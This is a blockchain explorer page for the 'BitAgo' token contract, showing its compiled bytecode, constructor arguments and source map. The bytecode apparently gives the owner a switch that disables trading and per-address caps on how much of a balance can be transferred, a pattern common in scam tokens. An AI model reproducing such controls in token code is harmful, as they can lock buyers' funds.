040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079a9061131b565b60405180910390fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f291906114ce565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084891906113ed565b9250508190555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061089961105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108e291906114ce565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610946919061139b565b60405180910390a360019150509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c261105d565b73ffffffffffffffffffffffffffffffffffffffff166109e0610ac0565b73ffffffffffffffffffffffffffffffffffffffff1614610a0057600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610af89061158a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b249061158a565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b6000600460009054906101000a900460ff16610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc39061137b565b60405180910390fd5b6000606460036000610bdc61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460016000610c2361105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c689190611474565b610c729190611443565b90508260016000610c8161105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf49061135b565b60405180910390fd5b828160016000610d0b61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5091906114ce565b1015610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d889061133b565b60405180910390fd5b8260016000610d9e61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610de791906114ce565b9250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3d91906113ed565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610e6361105d565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ea8919061139b565b60405180910390a3600191505092915050565b610ec361105d565b73ffffffffffffffffffffffffffffffffffffffff16610ee1610ac0565b73ffffffffffffffffffffffffffffffffffffffff1614610f0157600080fd5b6064811115610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906112fb565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008135905061107481611773565b92915050565b6000813590506110898161178a565b92915050565b6000602082840312156110a157600080fd5b60006110af84828501611065565b91505092915050565b600080604083850312156110cb57600080fd5b60006110d985828601611065565b92505060206110ea85828601611065565b9150509250929050565b60008060006060848603121561110957600080fd5b600061111786828701611065565b935050602061112886828701611065565b92505060406111398682870161107a565b9150509250925092565b6000806040838503121561115657600080fd5b600061116485828601611065565b92505060206111758582860161107a565b9150509250929050565b61118881611502565b82525050565b61119781611514565b82525050565b60006111a8826113d1565b6111b281856113dc565b93506111c2818560208601611557565b6111cb81611649565b840191505092915050565b60006111e3601e836113dc565b91506111ee8261165a565b602082019050919050565b60006112066021836113dc565b915061121182611683565b604082019050919050565b60006112296027836113dc565b9150611234826116d2565b604082019050919050565b600061124c601f836113dc565b915061125782611721565b602082019050919050565b600061126f6013836113dc565b915061127a8261174a565b602082019050919050565b61128e81611540565b82525050565b61129d8161154a565b82525050565b60006020820190506112b8600083018461117f565b92915050565b60006020820190506112d3600083018461118e565b92915050565b600060208201905081810360008301526112f3818461119d565b905092915050565b60006020820190508181036000830152611314816111d6565b9050919050565b60006020820190508181036000830152611334816111f9565b9050919050565b600060208201905081810360008301526113548161121c565b9050919050565b600060208201905081810360008301526113748161123f565b9050919050565b6000602082019050818103600083015261139481611262565b9050919050565b60006020820190506113b06000830184611285565b92915050565b60006020820190506113cb6000830184611294565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113f882611540565b915061140383611540565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611438576114376115bc565b5b828201905092915050565b600061144e82611540565b915061145983611540565b925082611469576114686115eb565b5b828204905092915050565b600061147f82611540565b915061148a83611540565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156114c3576114c26115bc565b5b828202905092915050565b60006114d982611540565b91506114e483611540565b9250828210156114f7576114f66115bc565b5b828203905092915050565b600061150d82611520565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561157557808201518184015260208101905061155a565b83811115611584576000848401525b50505050565b600060028204905060018216806115a257607f821691505b602082108114156115b6576115b561161a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f5265737472696374696f6e2063616e6e6f742065786365656420313030250000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f7765642060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f54726164696e672069732064697361626c656400000000000000000000000000600082015250565b61177c81611502565b811461178757600080fd5b50565b61179381611540565b811461179e57600080fd5b5056fea264697066735822122092e6dd95031418a5953b301d1fdfe2e2fafd895505d38c69f34c184434bdc13c64736f6c63430008020033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000009502f900000000000000000000000000000000000000000000000000000000000000000642697441676f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000642697441676f0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BitAgo
Arg [1] : symbol_ (string): BitAgo
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 2500000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000009502f900
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 42697441676f0000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 42697441676f0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2927:3948:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3841:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5422:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4400:95;;;:::i;:::-;;4118:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5658:775;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4027:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4226:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2587:230;;;:::i;:::-;;2266:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3932;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4581:635;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6498:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6729:141;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5263:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3841:83;3878:13;3911:5;3904:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3841:83;:::o;5422:228::-;5505:4;5559:6;5522:11;:25;5534:12;:10;:12::i;:::-;5522:25;;;;;;;;;;;;;;;:34;5548:7;5522:34;;;;;;;;;;;;;;;:43;;;;5604:7;5581:39;;5590:12;:10;:12::i;:::-;5581:39;;;5613:6;5581:39;;;;;;:::i;:::-;;;;;;;;5638:4;5631:11;;5422:228;;;;:::o;4400:95::-;2474:12;:10;:12::i;:::-;2463:23;;:7;:5;:7::i;:::-;:23;;;2455:32;;;;;;4472:15:::1;;;;;;;;;;;4471:16;4453:15;;:34;;;;;;;;;;;;;;;;;;4400:95::o:0;4118:100::-;4171:7;4198:12;;4191:19;;4118:100;:::o;5658:775::-;5764:4;5789:15;;;;;;;;;;;5781:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;5839:24;5921:3;5886:24;:32;5911:6;5886:32;;;;;;;;;;;;;;;;5866:9;:17;5876:6;5866:17;;;;;;;;;;;;;;;;:52;;;;:::i;:::-;:58;;;;:::i;:::-;5839:85;;5964:6;5943:9;:17;5953:6;5943:17;;;;;;;;;;;;;;;;:27;;5935:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6065:6;6045:16;6025:9;:17;6035:6;6025:17;;;;;;;;;;;;;;;;:36;;;;:::i;:::-;:46;;6017:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;6171:6;6134:11;:19;6146:6;6134:19;;;;;;;;;;;;;;;:33;6154:12;:10;:12::i;:::-;6134:33;;;;;;;;;;;;;;;;:43;;6126:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;6249:6;6228:9;:17;6238:6;6228:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6290:6;6266:9;:20;6276:9;6266:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6344:6;6307:11;:19;6319:6;6307:19;;;;;;;;;;;;;;;:33;6327:12;:10;:12::i;:::-;6307:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;6385:9;6368:35;;6377:6;6368:35;;;6396:6;6368:35;;;;;;:::i;:::-;;;;;;;;6421:4;6414:11;;;5658:775;;;;;:::o;4027:83::-;4068:5;4093:9;;;;;;;;;;;4086:16;;4027:83;:::o;4226:119::-;4292:7;4319:9;:18;4329:7;4319:18;;;;;;;;;;;;;;;;4312:25;;4226:119;;;:::o;2587:230::-;2474:12;:10;:12::i;:::-;2463:23;;:7;:5;:7::i;:::-;:23;;;2455:32;;;;;;2694:42:::1;2657:81;;2678:6;::::0;::::1;;;;;;;;2657:81;;;;;;;;;;;;2766:42;2749:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;2587:230::o:0;2266:87::-;2312:7;2339:6;;;;;;;;;;;2332:13;;2266:87;:::o;3932:::-;3971:13;4004:7;3997:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3932:87;:::o;4581:635::-;4667:4;4692:15;;;;;;;;;;;4684:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;4742:24;4836:3;4795:24;:38;4820:12;:10;:12::i;:::-;4795:38;;;;;;;;;;;;;;;;4769:9;:23;4779:12;:10;:12::i;:::-;4769:23;;;;;;;;;;;;;;;;:64;;;;:::i;:::-;:70;;;;:::i;:::-;4742:97;;4885:6;4858:9;:23;4868:12;:10;:12::i;:::-;4858:23;;;;;;;;;;;;;;;;:33;;4850:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4992:6;4972:16;4946:9;:23;4956:12;:10;:12::i;:::-;4946:23;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;:52;;4938:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;5082:6;5055:9;:23;5065:12;:10;:12::i;:::-;5055:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5123:6;5099:9;:20;5109:9;5099:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5168:9;5145:41;;5154:12;:10;:12::i;:::-;5145:41;;;5179:6;5145:41;;;;;;:::i;:::-;;;;;;;;5204:4;5197:11;;;4581:635;;;;:::o;6498:225::-;2474:12;:10;:12::i;:::-;2463:23;;:7;:5;:7::i;:::-;:23;;;2455:32;;;;;;6620:3:::1;6606:10;:17;;6598:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6705:10;6669:24;:33;6694:7;6669:33;;;;;;;;;;;;;;;:46;;;;6498:225:::0;;:::o;6729:141::-;6802:7;6829:24;:33;6854:7;6829:33;;;;;;;;;;;;;;;;6822:40;;6729:141;;;:::o;5263:151::-;5352:7;5379:11;:18;5391:5;5379:18;;;;;;;;;;;;;;;:27;5398:7;5379:27;;;;;;;;;;;;;;;;5372:34;;5263:151;;;;:::o;1593:115::-;1646:15;1689:10;1674:26;;1593:115;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:366::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2797:93;2886:3;2797:93;:::i;:::-;2915:2;2910:3;2906:12;2899:19;;2704:220;;;:::o;2930:366::-;;3093:67;3157:2;3152:3;3093:67;:::i;:::-;3086:74;;3169:93;3258:3;3169:93;:::i;:::-;3287:2;3282:3;3278:12;3271:19;;3076:220;;;:::o;3302:366::-;;3465:67;3529:2;3524:3;3465:67;:::i;:::-;3458:74;;3541:93;3630:3;3541:93;:::i;:::-;3659:2;3654:3;3650:12;3643:19;;3448:220;;;:::o;3674:366::-;;3837:67;3901:2;3896:3;3837:67;:::i;:::-;3830:74;;3913:93;4002:3;3913:93;:::i;:::-;4031:2;4026:3;4022:12;4015:19;;3820:220;;;:::o;4046:366::-;;4209:67;4273:2;4268:3;4209:67;:::i;:::-;4202:74;;4285:93;4374:3;4285:93;:::i;:::-;4403:2;4398:3;4394:12;4387:19;;4192:220;;;:::o;4418:118::-;4505:24;4523:5;4505:24;:::i;:::-;4500:3;4493:37;4483:53;;:::o;4542:112::-;4625:22;4641:5;4625:22;:::i;:::-;4620:3;4613:35;4603:51;;:::o;4660:222::-;;4791:2;4780:9;4776:18;4768:26;;4804:71;4872:1;4861:9;4857:17;4848:6;4804:71;:::i;:::-;4758:124;;;;:::o;4888:210::-;;5013:2;5002:9;4998:18;4990:26;;5026:65;5088:1;5077:9;5073:17;5064:6;5026:65;:::i;:::-;4980:118;;;;:::o;5104:313::-;;5255:2;5244:9;5240:18;5232:26;;5304:9;5298:4;5294:20;5290:1;5279:9;5275:17;5268:47;5332:78;5405:4;5396:6;5332:78;:::i;:::-;5324:86;;5222:195;;;;:::o;5423:419::-;;5627:2;5616:9;5612:18;5604:26;;5676:9;5670:4;5666:20;5662:1;5651:9;5647:17;5640:47;5704:131;5830:4;5704:131;:::i;:::-;5696:139;;5594:248;;;:::o;5848:419::-;;6052:2;6041:9;6037:18;6029:26;;6101:9;6095:4;6091:20;6087:1;6076:9;6072:17;6065:47;6129:131;6255:4;6129:131;:::i;:::-;6121:139;;6019:248;;;:::o;6273:419::-;;6477:2;6466:9;6462:18;6454:26;;6526:9;6520:4;6516:20;6512:1;6501:9;6497:17;6490:47;6554:131;6680:4;6554:131;:::i;:::-;6546:139;;6444:248;;;:::o;6698:419::-;;6902:2;6891:9;6887:18;6879:26;;6951:9;6945:4;6941:20;6937:1;6926:9;6922:17;6915:47;6979:131;7105:4;6979:131;:::i;:::-;6971:139;;6869:248;;;:::o;7123:419::-;;7327:2;7316:9;7312:18;7304:26;;7376:9;7370:4;7366:20;7362:1;7351:9;7347:17;7340:47;7404:131;7530:4;7404:131;:::i;:::-;7396:139;;7294:248;;;:::o;7548:222::-;;7679:2;7668:9;7664:18;7656:26;;7692:71;7760:1;7749:9;7745:17;7736:6;7692:71;:::i;:::-;7646:124;;;;:::o;7776:214::-;;7903:2;7892:9;7888:18;7880:26;;7916:67;7980:1;7969:9;7965:17;7956:6;7916:67;:::i;:::-;7870:120;;;;:::o;7996:99::-;;8082:5;8076:12;8066:22;;8055:40;;;:::o;8101:169::-;;8219:6;8214:3;8207:19;8259:4;8254:3;8250:14;8235:29;;8197:73;;;;:::o;8276:305::-;;8335:20;8353:1;8335:20;:::i;:::-;8330:25;;8369:20;8387:1;8369:20;:::i;:::-;8364:25;;8523:1;8455:66;8451:74;8448:1;8445:81;8442:2;;;8529:18;;:::i;:::-;8442:2;8573:1;8570;8566:9;8559:16;;8320:261;;;;:::o;8587:185::-;;8644:20;8662:1;8644:20;:::i;:::-;8639:25;;8678:20;8696:1;8678:20;:::i;:::-;8673:25;;8717:1;8707:2;;8722:18;;:::i;:::-;8707:2;8764:1;8761;8757:9;8752:14;;8629:143;;;;:::o;8778:348::-;;8841:20;8859:1;8841:20;:::i;:::-;8836:25;;8875:20;8893:1;8875:20;:::i;:::-;8870:25;;9063:1;8995:66;8991:74;8988:1;8985:81;8980:1;8973:9;8966:17;8962:105;8959:2;;;9070:18;;:::i;:::-;8959:2;9118:1;9115;9111:9;9100:20;;8826:300;;;;:::o;9132:191::-;;9192:20;9210:1;9192:20;:::i;:::-;9187:25;;9226:20;9244:1;9226:20;:::i;:::-;9221:25;;9265:1;9262;9259:8;9256:2;;;9270:18;;:::i;:::-;9256:2;9315:1;9312;9308:9;9300:17;;9177:146;;;;:::o;9329:96::-;;9395:24;9413:5;9395:24;:::i;:::-;9384:35;;9374:51;;;:::o;9431:90::-;;9508:5;9501:13;9494:21;9483:32;;9473:48;;;:::o;9527:126::-;;9604:42;9597:5;9593:54;9582:65;;9572:81;;;:::o;9659:77::-;;9725:5;9714:16;;9704:32;;;:::o;9742:86::-;;9817:4;9810:5;9806:16;9795:27;;9785:43;;;:::o;9834:307::-;9902:1;9912:113;9926:6;9923:1;9920:13;9912:113;;;10011:1;10006:3;10002:11;9996:18;9992:1;9987:3;9983:11;9976:39;9948:2;9945:1;9941:10;9936:15;;9912:113;;;10043:6;10040:1;10037:13;10034:2;;;10123:1;10114:6;10109:3;10105:16;10098:27;10034:2;9883:258;;;;:::o;10147:320::-;;10228:1;10222:4;10218:12;10208:22;;10275:1;10269:4;10265:12;10296:18;10286:2;;10352:4;10344:6;10340:17;10330:27;;10286:2;10414;10406:6;10403:14;10383:18;10380:38;10377:2;;;10433:18;;:::i;:::-;10377:2;10198:269;;;;:::o;10473:180::-;10521:77;10518:1;10511:88;10618:4;10615:1;10608:15;10642:4;10639:1;10632:15;10659:180;10707:77;10704:1;10697:88;10804:4;10801:1;10794:15;10828:4;10825:1;10818:15;10845:180;10893:77;10890:1;10883:88;10990:4;10987:1;10980:15;11014:4;11011:1;11004:15;11031:102;;11123:2;11119:7;11114:2;11107:5;11103:14;11099:28;11089:38;;11079:54;;;:::o;11139:180::-;11279:32;11275:1;11267:6;11263:14;11256:56;11245:74;:::o;11325:220::-;11465:34;11461:1;11453:6;11449:14;11442:58;11534:3;11529:2;11521:6;11517:15;11510:28;11431:114;:::o;11551:226::-;11691:34;11687:1;11679:6;11675:14;11668:58;11760:9;11755:2;11747:6;11743:15;11736:34;11657:120;:::o;11783:181::-;11923:33;11919:1;11911:6;11907:14;11900:57;11889:75;:::o;11970:169::-;12110:21;12106:1;12098:6;12094:14;12087:45;12076:63;:::o;12145:122::-;12218:24;12236:5;12218:24;:::i;:::-;12211:5;12208:35;12198:2;;12257:1;12254;12247:12;12198:2;12188:79;:::o;12273:122::-;12346:24;12364:5;12346:24;:::i;:::-;12339:5;12336:35;12326:2;;12385:1;12382;12375:12;12326:2;12316:79;:::o

Swarm Source

ipfs://92e6dd95031418a5953b301d1fdfe2e2fafd895505d38c69f34c184434bdc13c

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.